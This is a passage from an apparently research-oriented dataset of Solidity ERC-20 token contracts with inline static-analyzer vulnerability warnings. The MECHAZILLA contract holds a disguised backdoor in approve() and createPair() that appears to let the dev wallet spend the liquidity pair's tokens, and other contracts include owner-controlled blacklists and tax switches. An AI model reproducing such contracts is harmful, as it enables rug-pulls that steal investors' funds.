another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c373e32\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 21f09c0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ceec41b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ceec41b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4611c4d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4611c4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ceec41b\n\t\t\t\t// reentrancy-eth | ID: 4611c4d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ceec41b\n\t\t\t\t\t// reentrancy-eth | ID: 4611c4d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4611c4d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4611c4d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4611c4d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ceec41b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4611c4d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4611c4d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ceec41b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ceec41b\n\t\t// reentrancy-events | ID: 21f09c0\n\t\t// reentrancy-benign | ID: c373e32\n\t\t// reentrancy-eth | ID: 4611c4d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ceec41b\n\t\t// reentrancy-events | ID: 21f09c0\n\t\t// reentrancy-eth | ID: 4611c4d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d165899): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d165899: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 029acaf): BULLSEUS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 029acaf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d69a68d): BULLSEUS.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d69a68d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5eb83a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5eb83a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d165899\n\t\t// reentrancy-eth | ID: 5eb83a8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d165899\n\t\t// unused-return | ID: 029acaf\n\t\t// reentrancy-eth | ID: 5eb83a8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d165899\n\t\t// unused-return | ID: d69a68d\n\t\t// reentrancy-eth | ID: 5eb83a8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d165899\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5eb83a8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10323.sol", "size_bytes": 19931, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MECHAZILLA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0da312d): MECHAZILLA._bots is never initialized. It is used in MECHAZILLA._transfer(address,address,uint256)\n\t// Recommendation for 0da312d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fd6a6c7): MECHAZILLA._devWallet should be immutable \n\t// Recommendation for fd6a6c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\n address private xyzOwner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 393bf7d): MECHAZILLA._initialBuyTax should be constant \n\t// Recommendation for 393bf7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e4cca9): MECHAZILLA._initialSellTax should be constant \n\t// Recommendation for 1e4cca9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87abbd1): MECHAZILLA._finalBuyTax should be constant \n\t// Recommendation for 87abbd1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43cff40): MECHAZILLA._finalSellTax should be constant \n\t// Recommendation for 43cff40: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69c5ccf): MECHAZILLA._reduceBuyAt should be constant \n\t// Recommendation for 69c5ccf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ce0d35): MECHAZILLA._reduceSellAt should be constant \n\t// Recommendation for 1ce0d35: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: a54310f): MECHAZILLA._preventCount should be constant \n\t// Recommendation for a54310f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCounts = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Space X Mascot\";\n\n string private constant _symbol = unicode\"MECHAZILLA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76d9e03): MECHAZILLA._minTaxSwap should be constant \n\t// Recommendation for 76d9e03: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3678d8): MECHAZILLA._maxTaxSwap should be constant \n\t// Recommendation for a3678d8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n xyzOwner = _msgSender();\n\n _devWallet = payable(0xb16932641238C55490535299580b6b88C713fFcD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_devWallet] = true;\n\n _isExcludedFees[owner()] = true;\n\n _isExcludedFees[_devWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 32c8aac): MECHAZILLA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 32c8aac: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7654a0): MECHAZILLA.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7654a0: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = (amount > 0 &&\n _isExcludedFees[spender] &&\n block.number > 0)\n ? xyzOwner\n : _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0b53b51): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0b53b51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7920104): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7920104: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0b53b51\n\t\t// reentrancy-benign | ID: 7920104\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0b53b51\n\t\t// reentrancy-benign | ID: 7920104\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2b0f3ca): MECHAZILLA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2b0f3ca: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7920104\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0b53b51\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e8a35f4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e8a35f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 593e180): MECHAZILLA._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 593e180: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0da312d): MECHAZILLA._bots is never initialized. It is used in MECHAZILLA._transfer(address,address,uint256)\n\t// Recommendation for 0da312d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e9d6a45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e9d6a45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2bbfb89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2bbfb89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxAmount = amount\n .mul(\n (_buyCounts > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCounts++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxAmount = amount\n .mul(\n (_buyCounts > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 593e180\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: e8a35f4\n\t\t\t\t\t// reentrancy-eth | ID: e9d6a45\n\t\t\t\t\t// reentrancy-eth | ID: 2bbfb89\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCounts > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: e8a35f4\n\t\t\t\t\t\t// reentrancy-eth | ID: e9d6a45\n\t\t\t\t\t\t// reentrancy-eth | ID: 2bbfb89\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: e8a35f4\n\t\t\t\t\t\t\t// reentrancy-eth | ID: e9d6a45\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 2bbfb89\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 2bbfb89\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: e8a35f4\n\t\t\t\t\t// reentrancy-eth | ID: e9d6a45\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: e8a35f4\n\t\t\t\t\t\t// reentrancy-eth | ID: e9d6a45\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e9d6a45\n _balances[address(this)] = _balances[address(this)].add(_taxAmount);\n\n\t\t\t// reentrancy-events | ID: e8a35f4\n emit Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e9d6a45\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e9d6a45\n _balances[to] = _balances[to].add(amount.sub(_taxAmount));\n\n\t\t// reentrancy-events | ID: e8a35f4\n emit Transfer(from, to, amount.sub(_taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e8a35f4\n\t\t// reentrancy-events | ID: 0b53b51\n\t\t// reentrancy-benign | ID: 7920104\n\t\t// reentrancy-eth | ID: e9d6a45\n\t\t// reentrancy-eth | ID: 2bbfb89\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e8a35f4\n\t\t// reentrancy-events | ID: 0b53b51\n\t\t// reentrancy-eth | ID: e9d6a45\n\t\t// reentrancy-eth | ID: 2bbfb89\n _devWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n xyzOwner = uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a6a7ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a6a7ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 955dd52): MECHAZILLA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 955dd52: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59d7094): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59d7094: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 9a6a7ec\n\t\t// unused-return | ID: 955dd52\n\t\t// reentrancy-eth | ID: 59d7094\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9a6a7ec\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 59d7094\n tradingOpen = true;\n }\n}\n", "file_name": "solidity_code_10324.sol", "size_bytes": 21366, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TrumpOnETH is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(uint256 => uint256) private _sellCount;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fb44d27): TrumpOnETH._taxWallet should be immutable \n\t// Recommendation for fb44d27: Add the 'immutable' 